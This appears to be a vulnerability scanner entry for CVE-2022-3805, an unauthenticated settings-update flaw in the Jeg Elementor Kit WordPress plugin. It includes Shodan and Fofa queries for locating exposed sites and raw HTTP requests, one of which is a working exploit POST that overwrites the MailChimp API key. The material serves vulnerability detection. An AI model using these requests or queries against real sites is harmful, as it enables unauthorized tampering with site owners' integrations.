| Title | Jeg Elementor Kit < 2.5.7 - Unauthenticated Settings Update |
|---|---|
| Author | DhiyaneshDk,popcorn94 |
| Severity | High |
| Impact | Unauthenticated attackers can exploit authorization bypass using easily obtained nonces to update plugin settings including MailChimp API keys, global styles, and 404 page configurations, potentially compromising site integrations and design. |
| Remediation | Fixed in 2.5.7 |
| CVSS Score | 8.6 |
| EPSS Score | 0.12506 |
| CVE ID | CVE-2022-3805 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"/wp-content/plugins/jeg-elementor-kit" |
| Fofa Query | body="/wp-content/plugins/jeg-elementor-kit/" |
| Tags | cve cve2022 wordpress wp wp-plugin jeg-elementor-kit vkev unauth intrusive vuln |
The Jeg Elementor Kit plugin for WordPress is vulnerable to authorization bypass in various functions used to update the plugin settings in versions up to, and including, 2.5.6. Unauthenticated users can use an easily available nonce, obtained from pages edited by the plugin, to update the MailChimp API key, global styles, 404 page settings, and enabled elements.
GET /wp-content/plugins/jeg-elementor-kit/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Accept-Encoding: gzip
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
jkit-ajax-request=jkit_elements&form_data[mailchimp_api_key]=69064&action=save_user_data&nonce=TFBxS6
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3805.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3805.pcap
N/AN/A